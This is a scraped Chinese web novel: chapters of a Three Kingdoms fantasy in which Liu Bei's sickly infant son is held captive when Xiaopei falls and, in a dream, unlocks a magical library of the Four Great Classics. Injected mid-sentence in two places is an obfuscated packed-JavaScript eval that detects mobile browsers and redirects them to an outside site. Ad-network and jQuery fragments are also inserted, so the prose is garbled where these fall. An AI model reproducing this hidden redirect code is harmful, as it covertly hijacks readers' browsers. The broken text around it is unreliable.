《[三国]金手指副作用是解锁昏君神成就》 3. 第3章 麋贞拿着一串铃铛,轻轻地摇晃着。铃铛发出了清脆的响声,一般的孩童要是看见听见,一定会争着抢着要摸摸铃铛。可是床榻上的孩童却并无反应,眼睛也没有睁开一会。 麋贞叹了口气,准备将手中的铃铛收起来。她揉了揉刘眠软软的头发,刘眠自从长开之后,五官就显得更加精致了。现下一动不动地躺在床榻上,倒像是一个精巧可爱的瓷娃娃一般。 如今麋贞自然不奢望自家孩子能是什么天才,唯一的希望就是他能不要太过迟钝。好歹遇到危险会跑,饿了会自己找吃的。只可惜目前看来,这种简单的期望都变成了奢望。 刘眠的小脑瓜里现在就是一片混沌,他才小小的年纪,甚至连梦是什么都不清楚,更不明白和梦常常一起出现的“随身空间”,他被自己这些稀奇古怪的经历弄得糊里糊涂的。 孩童本就容易把梦境当真,更不要说他做的那些梦是如此“真实”。但是刘眠的小脑袋瓜还是察觉到了一些区别,毕竟在梦里他打到自己是不疼的,所以他逐渐开始能够简单地区分自己的梦和现实——手扯一扯头发,疼和不疼的是两个地方。 随着时间的推移,刘眠所需要的睡眠时间没有刚出生的时候那么多了。这倒是件好事,毕竟刚出生不久那会儿甚至睡到快要被自己给饿死的程度。当时可真把麋贞和甘梅吓坏了,就是直接往嘴里灌也没什么作用,而且这孩子就是掐也掐不醒的,况且稍微用力一些又担心会伤着他。 这一次,他似乎清醒得长了些。他睁开了圆溜溜水汪汪的眼睛,眼神追随着麋贞手中的那一小串铃铛,咯咯咯地笑了出来。 见到刘眠醒了,麋贞这才高兴了一些。她连忙放下了手中的铃铛,想要赶紧给孩子喂奶——没有办法,刘眠醒过来的时间实在是太过于宝贵了,不管是她或是其他人在这里,都会抓紧这段时间给他喂点吃的喝的。 正所谓吃喝拉撒乃是人之常情,说起来也不怕害臊,这拉撒倒是还好,即便是在睡梦中,孩子好歹不会给自己憋死。 但是他真的会把自己饿死。 直到吃饱喝足之后,刘眠还是很清醒。麋贞甚至有些不敢相信,毕竟这近一年的时间里孩子清醒的时间屈指可数,虽说之前那位朱相士已经说过刘眠病症的表现就是“猝睡、嗜睡”,但是觉多到差点把自己饿死,这还是有些吓人。今日总算是好了些,简直太难得了。 虽说现在已经用了那位相士所提的“眠”字为名,但是这个字给照顾刘眠的人几乎都快留下了心理阴影。毕竟刘眠“一眠”,差不多就和过鬼门关一样。 所以后头便打算给刘眠取个乳名。 又因为这孩子命数如今看来实在是太薄,故而便想着用个贱名做乳名,免得他压不住。 刘眠比起其他同年孩童来说几乎不怎么哭闹,大多数时候都像是绵羊的小羊羔一样乖乖待在襁褓里——于是给他取了“羔”作为乳名,平日里几乎不用大名,任是谁都用乳名来喊他。 “阿羔。”麋贞先是温柔地呼唤了一声,眼见着孩子抬起头冲她笑的时候,她反倒有些不可置信:“这次得醒着有半个时辰了。” 于是麋贞将刘眠放到了床榻之上,想要教他练一练爬行。否则上次来看过的医师说孩子的四肢过于柔软,想必是因为睡眠时间太长导致运动量严重不足。 “来,阿羔,来阿母这里来。”麋贞又拿起了那一串小铃铛,轻轻地在刘眠面前摇晃着,想要逗他往前爬:“阿母在等你的。” 刘眠先是慢慢地登着小短腿往麋贞身边爬去,嘴里哼唧着一些听不出意义的音节。来回在床榻上爬来爬去,刘眠莹白的额头上也冒出了点点汗珠。 此时天气转冷,屋内的温度也不算高。趁着炭火没熄的功夫,麋贞将刘眠的汗珠仔仔细细擦干,又给他换了一套里衣。 其实如今刘备也还是名义上的豫州牧,目前实际也还控制着小沛这一个地区。虽说肯定比不上逐鹿中原的豪强们,但是也不是白身黔首。麋家又是世代经商之大家,麋贞身边自然还是有几个侍女的,而且麋竺也给找了奶娘。但是刘眠自出生就令人提心吊胆,麋贞这个生母如何放心其他人经手?事事都恨不得亲力亲为。 故而这些这几个侍女也只是负责关好门窗,及时烘着炭火。照顾刘眠的事情,大多数时候还是麋贞亲力亲为。 此时约莫又差不多过去了半个时辰,但是刘眠依旧没有猝睡的症状。 这会儿麋贞是真的打心眼里高兴,她轻轻搂住了儿子的小脑袋,将他抱了起来:“我们阿羔要好了,对不对?阿母真开心啊....” 刘眠的眼睛亮晶晶的看着麋贞,他觉得还是这个地方好,会有人理会他。不像另一个地方,他只能坐在冷冰冰的石阶上哭破嗓子。 刘眠并不像是寻常孩童“鹦鹉学舌”,他好像明白“阿母”是麋贞的自称一样,所以即便麋贞没有多次重复地教他念,他还是能够精准地喊到:“阿母。” 刘眠的吐字异常清晰,甚至连一旁的侍女都听得清清楚楚。麋贞也很是惊讶,双手颤抖地抱住刘眠:“阿羔!你是在叫阿母…太好了…” 或许是因为与生俱来的血缘链接,刘眠见到麋贞听见他说话高兴,便也跟着开心地咯咯笑了起来,脆生生地又叫了一声:“阿母。” 刘眠难得清醒了这么久,后来得知消息的甘夫人也到了,两位女眷都是又惊又喜,不知疲倦地陪他玩了许久。 甚至一直到了傍晚,刘眠也没有猝睡的迹象,只是懒洋洋地打了几个哈欠。 等到家中其他人陆续回来的时候,几乎都第一时间得知了刘眠今天开口说话的事情。 这肯定是件喜事。 麋贞认真检查了一遍刘眠身上的衣物之后,甘梅又赶紧给他带上了保暖的小帽。在确定堂屋的门窗关了一会儿已经足够暖和之后,才小心翼翼地把孩子抱到了堂屋。 如今刘备麾下这些人,比起名义上的上下属关系,反倒更像是一家人。 不过刘备与关、张二人以兄弟相称呼,糜竺、糜芳二人又是麋贞的兄长。简雍则是刘备在涿郡的发小,孙乾也算是与他们同甘共苦——认真来说,那确实是一家人。 所以本身在结束公务之后也常常在一起聊天玩笑,而听说刘眠说话了这件小事之后,几人更是高高兴兴地商量一下,便决定跟着一同来看望刘眠。 本来刘眠能够长时间清醒着已经足够让人高兴了,更不要说他还学会了喊“阿父阿母”.就连平日里喜怒不形于色的刘备都面露喜色,逗着刘眠又多喊了他几次“阿父”。 快到一岁的孩童会说话叫人这不算稀奇,能模仿大人说两句简单的话也称不上什么神异。因此之前刘眠对着刘备麋贞喊出了“阿父阿母”的时候,众人也只是小小地惊喜了一把。 但是之后众人逐渐发现了神奇之处,这小家伙几乎很快就学会了几个简单的词语。而且他表现出来的状态并不像是牙牙学语的孩童——在“鹦鹉学舌”地重复大人教他的话,刘眠更像是很清楚这些词语和称呼各自对应的是什么意思。 就比如叔、伯、舅几个称呼所对应的是不同的几个人,但是刘眠却从来没有喊错过。即便是有大人故意误导他,他却还是能够很清晰地意识到是对是错。 甚至他很快就学会了用一些简单的词语表达自己的意愿。——在他还很活泼的时候,大人问他“累不累”,他会回答“不”。而他打哈欠的时候,又会主动和大人说:“累。” 这件事说大可大,说小可小。毕竟比起其他幼童来说,这番表现绝对算得上是“岐嶷兆于襁褓”。但要说这能比得上“七岁为孔子师的项橐、十二岁成为秦国宰相的甘罗” 那还差远了。 自汉武时期兴起“天人感应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761603|145561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一说之后,“祥瑞”似乎就成了各地大大小小统治者们所追求的“天之认可”的表现形式,而“神童”总是会作为“祥瑞”出现。而“祥瑞”这其中有多少是夸大其词乃至于伪造的情况,属实是数不胜数。 所以才说这件事可大可小,全看要不要宣扬。 “想来阿羔是应了那位相士的话,几次大病换了几分口齿——也算是逢凶化吉了。”然而刘备却并没有把这件事往“神异”的方向推,反而有一种小事化了的意思。 不过也是,对此此刻正在夹缝生存的刘备集团来说。这种宣传未必是什么好事,与其说是聪慧伶俐,让外面的人一传十十传百——相信的人呢,把这当做他的祥瑞神异;不相信的人呢,也会觉得是他故意宣扬。 不管是相信还是不相信,反正都为他刻画了个不甘为下的潜龙形象罢了。 倒不如只当做是口齿清晰了些为好。 在场的众人也不约而同地明白了刘备的意思,故而并未就此事多说些什么其他的话,只是继续颇为好玩地逗着刘眠玩。 刘眠倒是格外乖巧,在几个人换来换去的抱着也不闹脾气。先是乖顺地被糜竺、糜芳、孙乾和简雍四个人抱了一圈,而后又被关、张二人抱了去。 “合该恭喜兄长才是,侄儿胆大伶俐。”关羽笑道,转而对刘备说到:“匡扶汉室,后继有人了。” 而张飞则是要更为兴奋些,先前他还不敢凑上前去,是因为之前关平一见他就吓哭的缘故——虽然也已经过去了许久,如今关平也已经十多岁了,但是这事都快成一个“黑历史”了。 如今好不容易见到个不会被他吓哭的小娃娃,又是他主公兄长的独子。便争着抢着要逗孩子,等到刘眠被抱到他手上之后。他将刘眠举上又举下,甚至还让他坐到自己的脖子上——逗逗得刘眠呵呵笑个不停:“兄长,侄儿胆大,日后一定勇猛非常!” “勇猛不敢求,只愿他能平安。”话说到这里,刘备的心头浮现了一丝愁绪。不过看着热热闹闹的众人,他最终还是将这丝愁绪埋在了心底。 而后也不知道是谁起的头,开始就着刘眠的乳名“阿羔”开玩笑,想要逗他学小羊“咩咩”叫。 本来一向好脾气、乖巧到不行的瓷娃娃还是没见过这样的场面——一群七尺男儿(其中还有两个八、九尺虎背熊腰的大汉)对着他“咩咩”叫。 场面一时间实在是太过混乱,难以直视。 刘眠只觉得这样的场景有些莫名的怪异,他的两位舅舅这么做倒是还过得去,虽然也有点违和,不过至少两人没拈细着嗓子发声。但是那两位叔叔——或许是因为知道自己的声音粗声粗气,所以在发声的时候反而拈细了些嗓音,这样的“咩咩叫”简直有一种难以言明的恐怖,刘眠只觉得自己小小的世界观快崩塌了。 最终刘眠并没学会“咩咩”叫,反倒被这场景吓到(也有可能是“恶心”到)。他一扁嘴一撇眼,号啕大哭了起来。哭声之嘹亮竟是头一次,要知道之前刚出生的时候发出的哭声也就是像小羊羔一样的哼唧声。 也算是难得了。 这会儿又是一群人手忙脚乱地开始哄孩子。最终还是把孩子又给麋贞抱了回去,这才好不容易又安静了下来。刘眠回到了母亲的怀抱里,这才感到了一阵安心。这会儿他也没什么精力了,便自然而然地在怀抱中睡着了。 反倒是麋贞见孩子又闭上了眼睛,心中的欣喜也渐渐散去——虽说就是正常小孩活动这么久也该累了,但是真不知道刘眠下一次能不能这样醒来。 希望阿羔能平平安安地醒过来,以后也是如此,麋贞心想。 这样平淡温馨的小插曲有些时候会给人一种错觉,那就是日子会哦这样一直过下去。然而在这个乱世,又有什么日子是长久的呢? 战争的硝烟又一次燃起——打乱了这份本就少见的平静。 4. chapter4 “都打听清楚了吗?” 麋贞面不改色地抱着怀里的孩子,等候着下人的回复。 风尘仆仆的小厮恭顺地跪下,但是他的言语之间满是慌张:“夫人,都打听清楚了。吕布部下高顺已经攻破沛城东门了——” 吕布本就忌惮刘备在小沛城屯兵,再加之刘备先前又与曹操有了一次来往资助。所以手下诸将都在极力劝说吕布,他们认为因为刘备记挂着当初夺取徐州之仇,所以他一定会心有不甘、反覆难养,故而更应该尽早图谋。 自去年秋冬吕布采取陈登之计策大破袁术军之后,他不仅腾出了精力,甚至可以说是士气大振。恐怕是自那时起,就动了解决刘备这个隐患的心思。 偏偏今年春天,吕布派人持金前往河内买马。这笔钱财被刘备的部下兵马给抢夺走了,此事有说是张飞记挂着徐州之仇一时冲动为之。但是不管是有意还是无意,这件事都成了一根导火线,将吕布刚刚从袁术那里空出的精力引到了刘备身上。 吕布立即派出了高顺、张辽二人攻打刘备。 前不久刘备已经向曹操求援,但是纵然曹操派出夏侯惇援助,甚至于夏侯惇还因此战折了一只眼睛,但最终也是兵败而归。 小沛城本就难以坚守,在没有援军的情况,被击破似乎是迟早的事情。 “现下小沛城外面已经是一片混乱,亦不知主公和其他大人身在何方。”小厮的嘴唇哆哆嗦嗦地抖动了起来:“不知道夫人可要带着小公子趁乱出城?” 麋贞微微蹙起了眉头,她谨慎地思考着现状。 目前看来城破兵败已是定局,但城破得又有些突然,后院中除了女眷也就只有几个护卫。后院的几个护卫先别说抵挡铁骑,就是城内的流民都不一定能对付得下来。 况且即使逃出了小沛城,往哪里去也是一个问题。要知道小沛城正是因为孤城作战才如此被动,一旦失散之后就是想要相互联络也成问题。 麋贞微微收紧了手,因麋家世代行商的缘故,对于时局的变化总是很敏感。纵然麋贞不比两位兄长可以外出行商,但是她也常常关照家中生意,也算是对时局有些了解。 小沛城不过弹丸之地,原属徐州鸡肋之地,更不比其他州郡征讨起来费时费力——这也就意味着吕布兵马攻下小沛城之后,没有必要行屠城之事。况且攻打小沛的将领还有张辽——此人是关羽同乡,之前也与关羽有所往来。 之前吕布第一次攻下小沛城时,并没有杀害城中的后院家眷。在刘备求和之后,就将他们送回了刘备。 反倒是之前刘备失去徐州之时后院家眷随着一起逃离,路上颠沛混乱——一双儿女竟是夭折在逃亡路上。 权衡利弊之后,麋贞决定留在城中。毕竟刘眠身体状况本就不比其他孩童,他要是跟着一路逃亡,想必怕是也难逃夭折之命。 甘夫人正是经历过上一次徐州之失的亲历者,她也更赞成麋贞的想法,若是刘备等人逃出了小沛城,情况就和上次差不多,她们应该不会遇到性命之忧。 若是刘备没能脱逃,便也只能称一句——“天意如此”罢了。 情况果然如同二位夫人所料,在高顺张辽攻下小沛之后,只是将她们圈禁了起来,并没有动杀心。 听手下人打听的情况,刘备倒是应该成功脱逃了。不过上一回吕布为的是徐州,这一回他似乎是抱着除掉刘备来的。 也不知道这次还有没有转机。 如今刘眠的猝睡症虽然是好了一些,但还是会冷不丁地犯病——不过刘眠却一直认为自己不是犯病。 刘眠总是会重复做同一个梦。 他一向是一个非常聪慧的孩子,他知道对于大人们来说重复做同一个梦是很少见的,而能支配自己在梦中行为的情况更是少之又少。 但是刘眠的梦境并没有什么神异之处,他总是会反复徘徊于那栋富丽堂皇、雕栏玉砌的“宫殿”周围。透过那栋“宫殿”透明的大门,刘眠能看到里面摆放着桌椅和疑似书柜一般的东西。 只可惜他的小短腿还没支撑他找到过可以进入的入口。 就连进出这个梦境的方法,刘眠也没有摸索地很清楚。只是他知道自己进入了那个梦境就会飞速地睡着,而且就是刀刃割上脖子也没有感觉。 和普通的睡觉做梦完全不一样。 眼见着自家熟悉的小院门口围上了穿着甲胄的兵士,又见到麋贞与甘梅日日忧心忡忡的脸色。 “阿母,我们现在是囚犯吗?”在刘眠自己一勺一勺地吃着东西的时候,他眨巴着圆溜溜的眼睛问到。 麋贞先是叹了口气,哀伤于自家孩子这体弱却早慧的命数,最终只能苦中作乐地答到:“是...阿羔还知道囚犯是什么意思?” “知道。”刘眠圆圆的小脸上露出了个笑容:“关叔说他要是不离家,他就是囚犯了。” 麋贞揉了揉他软软的头发,露出了一抹苦笑。 “可是母亲。”刘眠又有了个问题,他很是好奇:“关叔说,囚犯会被关到黑黑的小屋子,和老鼠呆在一起,我们什么时候会被送到那里呀?” 麋贞一时不知道是该回答得简单一些,还是认真一些:“若是你父亲在这的话,我们就会被送到黑黑的小屋子里了。但是现在不会,来吃饭——” 刘眠似懂非懂地点了点头—— “夫人。”一个侍女小心翼翼地掀开了帘子,缓步走进了屋内:“张将军那边悄悄来了人,给小公子送了炭火和药材。” 侍女口中的“张将军”是张辽张文远,想必昔日关羽与他交际的时候提到过刘眠的病症,又因为二人之间的同乡之谊,这才心软多看顾了一些。 这些东西也正是刘眠所需要的,故而也就照单全收了下来。麋贞也没能力置办什么谢礼,只是给前来送物资以及门口看守的兵士一些钱财打点——不过想必张文远也不会在意这个。 刘眠乖巧地咽下了羊奶与粟米和成熬制的一小碗粥,先天体弱影响的是方方面面,这肠胃更是受影响。因此也吃不了太过粗糙的饮食,为此张飞还费劲弄来了几只母羊养着。 “母亲。”吃完饭之后,刘眠就下地围着麋贞和甘梅转来转去:“阿父、叔叔和舅舅们还要我们吗?” 正所谓是童言无忌,麋贞一时有些沉默。尽管从理智上来看,若是他们被一网打尽估计才是难逃一死,反倒是这些人逃出去了,她们倒还有一丝生路。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13761604|145561||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这又何尝不是一种自我安慰呢?毕竟性命就在敌方的一念之间,任是谁都寝食难安。 这时候只能是甘梅出言安慰:“阿羔放心,总有一天会团聚的——只是现在还不知道是哪一天而已。” “我知道。”刘眠却是焉焉地垂下了眼睛,他的声音很轻:“吕布被杀的那一天。” 这话着实有些大胆,吓得麋贞赶紧捂住了儿子的嘴巴。好在周边没有其他人,两位夫人对视了一眼,虽然她们已经习惯于刘眠的早慧,但显然还是都很惊讶刘眠会说出这样的话。 “以后不能这样说话。”麋贞制止了刘眠,她起身往窗外门口张望了一会儿,确定没有其他人听见这番话才说道:“万一惹祸上身,我们无处可逃。” 刘眠也知道阿母和阿姨在担心什么,所以他听话地噤了声。 且不说刘眠身上的病,哪怕就是后院家眷都能骑马,也是跑不过骑兵的。反而在那样混乱且秩序崩塌的情况下,什么危险都有可能发生,倒不如在尚有秩序城内安心做好被圈禁的俘虏。 本来饭后好不容易蹦跳一下的刘眠只感觉脑袋一沉,他的脑海里似乎响起了一些莫名的声音。竟是直愣愣地往地上砸了下去,也亏得在一旁做针线的甘梅眼疾手快,及时扶住了刘眠的头。麋贞也丢下了手中的账簿,一把环绕住了刘眠的身子。 这才没让刘眠直接砸到地上,甘梅和麋贞反应如此迅速,也不知道是刘眠跌过多少次的结果,真可谓是熟能生巧练出来的身手。 刘眠这样猝睡的情况并不少见,所以两位夫人只是将他脱了鞋放在了床上。并没有外出寻求医者,毕竟寻了也没什么用。 麋贞微不可闻地叹了口气:“阿羔这样,现下还有的阶下囚做都算不错了。若是日后兵荒马乱的逃亡,他怎么....怎么活得下来呢?” 甘梅也只能跟着叹气,之后又只能搬出当年在许都碰见的那个相士的话来安慰麋贞。 然而刘眠却又是陷入到了他那个重复的梦境里面。 但是这一次的情况不太一样。 刘眠费力地从门口的小花园走到了那座双重檐宫殿前的石阶上,他坐在世界上努力地集中思想——表达自己想要离开这里的欲望。 这个方法有些时候能让他离开这个诡异的梦境,但是有些时候又不能。 其中的原理刘眠也摸不清楚。 就在刘眠皱着小小的脸,想要离开这里的时候,却只听见宫殿上方传来了一阵怪声,而后就听到像是人在说话的声音—— 这是从前从来没有过的,刘眠好奇地向上看去,然而并没有能看见什么人。 但那个声音却愈发清晰了起来——【恭喜宿主解锁昏君神级成就[城破阶下囚],成就说明如下:所在城池被敌军攻破,沦为圈禁阶下囚。虽然没有牢狱之苦,但却在囹圄之中局促不安,实乃千古伤心人也。成就奖励:古书典籍图书馆门禁*1,阅读点数*3】 与此同时,刘眠只见一直关得严严实实的透明大门突然自动敞开,甚至于发出了不小的动静。而透明门之上赫然闪过一道亮光,一根长长金色的飘带陪随着金色的粉末翩然起舞,最终落成了悬空的几个大字——“古书典籍图书馆”。 5.第5章 刘眠还是听懂了一点那个声音所表达的意思,大概就是他“成功”成为了吕布的“阶下囚”,所以被这个古怪的东西给予了奖励—— 可是这个声音到底是来自于何方神圣? 而且什么“昏君神级成就”、“城破阶下囚”等等词语,僭越什么的都不说了,单纯听起来都不是什么好话。 不过出于一探究竟的心理,刘眠还是试探性地往那栋房子里走去。房子的内部比起外部要更加震撼,在刘眠的眼中无疑于传说故事中的仙境。首先映入眼帘的是高耸的天花板,宽敞明亮的大厅里,阳光透过大型落地窗洒入。高耸宽大的书架几乎如同高塔一般,而其中摆放的书册琳琅满目,甚至可以用“美轮美奂”来形容。 而且绝大多数都是纸质图书—— 虽然自汉和帝时期的宦官蔡伦改进了民间造纸术之后,纸张就得到了一定程度的应用和推广。但是即便是经过改良的纸张,也远远比不上刘眠见到的这些书本所用纸张。 毕竟即便眼前的这些书页当中,纸张白得有些夸张,摸起来要厚实很多。 虽然刘眠并没有见过很多用纸张组成的书册,但是他也能够通过和大人们之间的交流得知——现下的纸张是绝对做不到这个水准的,就算是有人碰大运钻研了出来,那也不可能能有这么多张。 刘眠小心翼翼地想要将这些书册抽出来 每当刘眠想要伸手拿下书册看看的时候,那个古怪的声音就会冷不丁地响起来。刘眠听了几次,这个声音只有一种回复。 【宿主阅读点数不足解锁本书,请到别处看看吧~】 现在的刘眠虽然已经识得了一些字,但是还没有到能靠自己通读并且理解一本书的地步。况且有一些书籍上的字迹看起来有些令他似懂非懂,不像是秦朝时统一文字时应用的更为复杂的小篆,或是更早的文字。准确来说更像是这个年代常用的隶书的修改体。 对于刘眠这个还在“画字”阶段的孩童来说,这些字好像和他接触到的有些不一样——但是又不至于偏离得完全看不懂,连蒙带猜还是能猜到一些。 或许有些时候小孩子的接受能力更强,在发现没有这里面没有什么危险,只是一个类似书院的地方之后,刘眠并没有纠结于那个古怪的声音到底从何而来,更没有花费大量的时间纠结这里到底是什么地方。 而且刘眠在这个空间的身高也依旧保持他原本的水准,虽然旁边还有可活动的梯子可以用,但是奈何他完全推不动。所以也就只能摸到书柜一二层的书目,而且基本上所有的书目都不能够“解锁”。即便是将书册抽出来,其中的书页也紧紧粘在一起,活像是一块砖头一样。 不过刘眠的目光很快就被馆内最中央的一个展示台吸引了目光。 展示台是梯形的多层结构,底色为淡雅的茶色,营造古朴典雅的氛围。整体照明使用柔和的灯光,重点照亮了上面的书籍。在展示台的中央还有着一块“会动的画卷”,上面的墨迹时而飘散成一副山水画,时而又汇聚成几个字——“四大名著” 也不知道是出于什么样的“直觉”,又或者是出于“名著”这个词语的含金量,刘眠缓步来到了这个展示台前。 虽然展示台前已经写了是“四大名著”但是这里的书本可不只有四本。放在梯形展示台最高处的书本最厚。看起来应该是最完善、完美的四大名著。除却封面的标题之外,还按照红、黄、蓝、绿四个颜色作为封皮区分。 刘眠好不容易费力够到一点书角之后,就得到了提示——还是一样,他的阅读点数不足以令他解读最高层的这几本书。 不过刘眠很快就转移了注意力,因为梯形展示台的最下面同样也有四本同样标题的书目摆放着。只是相比较最顶层的那几本书,包括其他刚刚刘眠抽出来的书,展示台最下面的这些书明显要薄得多。 但是它们的封面不似最上面几本书只有单调同色的封皮,这些书目上印有色彩鲜艳得有些夸张的绘画,刘眠从未见过绘画能拿来当书籍的封皮的。而且这些封皮上大多画的是人物,虽然头和眼睛都有些大得夸张,但是也能从这样的画风之中窥见几分可爱与幼稚。 刘眠不知道的是,他所能够“解锁”的这几本书籍。都是经过了简化和删改之后的少儿绘本版四大名著,通过简单的语言佐以一眼了然的图画复述了一遍复杂的故事。 不过这些书目对于刘眠来说刚好。其实他现在要是直接解锁的原版的四大名著,恐怕也没那个能力看懂。 《红楼梦》、《西游记》、《三国演义》、《水浒传》 虽然其中还有些刘眠不认识的字,但是单单凭借他认得的来说——他从未听过用这些作为书名的名著典籍。 其实刘眠还是知道不少经典的,比起他那位年少时“不甚乐读书”的老父亲而言,他可以说为数不多的爱好就是看书认字。 也是,刘眠也很难有其他的爱好。就是推着个鸠车玩,众人也担心他摔倒受伤。因此刘备得空的时候还顺手“重操旧业”,给他弄了个竹子编的小马,骑着玩总比跑着玩安全一些。 毕竟这可真不是做家长的太过忧虑,而是确确实实有前车之鉴的。 就比如关平当初主动领着他去爬树玩,两人爬到噌噌噌是爬上去了。结果刘眠莫名其妙在树上给睡着了,关平也就十几岁的年纪。一个人也没有把握抱着刘眠从树上爬下来,又不敢离开他去找其他人帮忙——毕竟要是关平走了,刘眠翻个身就能摔下去。 最后刘眠就一直睡到了日落时分,而守着刘眠的关平也快在树干上坐麻了。 这两孩子让家中女眷一顿好找,可谓是翻箱倒柜、院里院外都翻了个遍,愣是没想到居然还呆在树上了一下午。 要不是刘眠最后坚称是自己先爬的树,关平是担心他才跟着爬的话,关平绝对要因为这件事被揍得找不着北。 至于刘眠?说实话,就他这病再加上才将将养好了一点的身子骨,几乎没有人愿意和他说重话。就连唯一一个对他严厉些的父亲,似乎也是察觉到了他的话中的真相——毕竟刘 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眠性格文静乖巧,主动提出来爬树逗狗的怎么看也不会是他,所以最后也并没有说什么。 虽然刘眠不能说已经读懂了那些经典,但是起码名字听过看过不少。甚至于这四本名著似乎都不符合这些经典的命名通用方法,反而听上去有些让人摸不着头脑。 不过介于其他的书籍都无法被“解锁”,在刘眠碰到这几本薄薄的书册之时,那个古怪的声音终于给出了一个与之前截然不同的回答。 【宿主确认花费一点阅读点数解锁本书《红楼梦》?如是,请回复系统“确认”二字;如否,则停止接触书册即可。】 这句话其实也不那么难理解,反正对于现在只有三点阅读点数的刘眠来说,他并不能解锁其他的书册。目前看来也只有这里可以用到他的阅读点数了,毕竟刘眠其实也不知道自己下次来这里的时候门还会不会再打开,又或者他还有没有机会再来这里。 但是三点阅读点数也只能解锁三本书,“四大名著”必然是要先被舍弃一本的。 舍弃哪一本呢? 刘眠只能从书封皮的那些绘画,以及书籍的书名来做选择。不过先前也说过,其实单看书名未必能够猜到这几本书其中的真实内容。 刘眠先没有考虑舍弃的事情,他先选择了第一本——《红楼梦》。他先选这本书的缘故也不复杂,毕竟他现在按理来说不就是在梦中吗?所以他认为或许这本书能够告诉他这个梦境到底是怎么一回事。 不过等到刘眠半懂不懂地看完了《红楼梦》绘本之后,他却觉得自己更加茫然了。先且不说书中并没有提这个梦境,就是单凭最后这个“白茫茫一片真干净”的故事结局来看,刘眠只感觉自己做了一场梦中梦。 但是或许是因为与书中主要角色同样早慧多病、颠沛流离的缘故,刘眠也有点“以伤其类”的感触。他们一家人最后会不会也像这本《红楼梦》所讲述的故事一样,在一片繁花似锦之后归于寂静呢? 好在刘眠很快又打起了精神,接着开始选择下一本书。这一次他选择了《西游记》,原因主要归根与封皮上那类似仙境的地方——和这里看起来很像。 这一本倒是有意思得多,讲述师徒四人西行取经,一路降妖除怪的故事。自汉明帝时期佛教传入中原之后,这个宗教虽然发展还不至于像书中所述那么兴旺,但是也勉强算是有了一点知名度。不过现在的刘眠还不怎么在乎这个,他只是感兴趣于书中的法术变化。 但是很可惜,即便时候刘眠照着书中的指示念出了“咒语”,他却并没有能够拥有什么法力或是神器。 现在只剩下了最后一个阅读点数。 刘眠看向了最后两本书——《水浒传》和《三国演义》 这两本绘本封面有一点相似,大概看出来都画的是几个高大威猛的男子,封面和书名都不像前面两本一样可以和这场奇遇联想起来。刘眠抿了抿唇,他只是能是随着自己的喜好随便选择了一本—— 接下来刘眠大声对着天花板喊出了“确认”二字。 6.chapter6 “在中国古代有很多朝代,比如延续了八百年的周朝,但它最后分裂成了七个小国家——这就是‘分久必合’,而最后秦始皇统一了中国,建立的秦朝——这就是‘合久必分’” “.....” “最后一个叫刘邦的人又统一了全国,建立了汉朝。”[1] 不同于之前似乎和真实生活没有什么交集的《红楼梦》和《西游记》,这本书的开端讲述的故事几乎都是刘眠听过的——只不过他在先是当中听这些故事的时候,没有人敢这么直呼高祖的姓名。而其中直接称呼中原王朝为中国的说法反倒没有太过奇怪,反正刘眠算是听\看懂了。 故事简单地交代了一下汉朝的起源,甚至连汉朝的再兴之主刘秀也没有提。毕竟这是一本少儿版本的书目,然后就直接落到了桓灵时期,接着便到了“黄巾之乱”。 刘眠还有点失望——或许这本书只是一本通俗的史书,他出了梦境也能看的那种。已经落到了黄巾之乱,恐怕故事很快就要结束了。 “黄巾军攻打幽州,幽州太守慌忙贴出榜文,招募民间的英雄好汉组建民兵队伍,配合官兵一起剿匪。表这榜文一处,民间好汉们跃跃欲试。这其中就有一位草莽英雄,他姓刘名备字玄德——” 刘眠握着书的手都被吓得颤抖了一下,他有些不可置信。而后恨不得将眼睛都凑到书本上,仔仔细细地打量着字形,然后又一遍遍地用点读笔划过那一行字。 他终于确定那上面写的故事主人公的名字并不是偶然相同,而是书中的这位主角正是他的老父亲。旁边配的画像虽然有些夸张——画中人的耳朵都垂到了肩膀上,但是特征倒是没错,刘备的耳朵确实很大,起码能达到“自顾见其耳”的水平。 刘眠继续往下看去,当“关羽”和“张飞”这两个名字出现的时候,他彻底意识到了事情的不简单——能能被“史书”提一句的人已经不一般了,更何况能被称之为“名著”的“史书”?这本书略过了那么多人,虽然是从汉灵帝时期开始叙述,但是居然连桓灵二帝都懒得多费笔墨。 然而却一反常态地花了不少篇幅写他父亲叔伯们在市井之中相识的过程,甚至由他们三人引起了故事的第一个高潮——桃园三结义。 坦白说刘眠并不知道刘、关、张三人到底有没有“桃园结义”过,他记得父亲叔伯们谈天论地时候提起过——三人是只在讨黄巾时刘备招募乡勇的时候认识的,这一点倒是勉强差不多能够和书对上。 但是书中这个时间段,刘备差不多也该到了二十多岁,居然还在以“织席贩履”为生——这就完全与现实对不上号了。 虽然刘备的确因为幼年丧父而家道中落,因此跟随母亲过了一段“织席贩履”的生涯。但是他少年时代在同宗叔父的资助之下拜大儒卢植为师,书其实没怎么读进去,但是豪杰朋友倒是结交了不少。 但是这些往事刘眠也不过是这里听一嘴,那边听一句的。所以虽然他有些质疑,但是也并没有完全否认。 